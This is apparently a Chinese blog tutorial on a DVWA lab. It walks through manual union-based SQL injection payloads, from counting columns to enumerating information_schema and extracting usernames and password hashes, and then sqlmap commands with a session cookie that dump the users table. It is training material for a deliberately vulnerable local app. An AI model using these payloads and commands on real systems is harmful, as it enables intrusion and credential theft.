网络安全——DVWA之SQL注入漏洞

DVWA之SQL注入漏洞

SQL注入

//1、判断列数	order by [column_num];
//输入数据正确,则有输出,错误没有输出
//输入数据为 1' order by 3# [#作用为 注释后续SQL语句]时网页报错,则该数据库表有2列
	SELECT first_name,last_name FROM users WHERE user_id='1' order by 1#';
	SELECT first_name,last_name FROM users WHERE user_id='1' order by 2#';
	SELECT first_name,last_name FROM users WHERE user_id='1' order by 3#';

//2、联合查询其它信息 union select [sql1] [sql2]
//执行MySQL内置函数user()和database()
//user():返回当前数据库连接用户
//database():返回当前数据库名称
SELECT first_name,last_name FROM users WHERE user_id='1' union select user(),database()#';
	
//3.联合查询表
//从information_schema数据库中查询dvwa数据库表
SELECT first_name,last_name FROM users WHERE user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#';

//4、联合查询信息
//查询当前数据库users表中user和password数据
SELECT first_name,last_name FROM users WHERE user_id='1' union select user,password from users#';

SQLmap自动化SQL注入

//1、检测漏洞
//-u:检测网址
//--cookie:登录DVWA,在浏览器控制台里看请求消息头中获取cookie
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4"

//2、获取数据库名
//--dbs:database server获取所有数据库名
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" --dbs

//3、获取指定数据库表
//-D:Database指定数据库名为dvwa
//--tables:列出数据库表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" -D dvwa --tables

//4、获取指定数据库列/表项
//-D:Database指定数据库名为dvwa
//-T:Table指定表名为users
//--columns:列出表项/列
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" -D dvwa -T users --columns

//5、获取数据
//-D:Database指定数据库名为dvwa
//-T:Table指定表名为users
//--dump:读取数据
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" -D dvwa -T users --dump
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值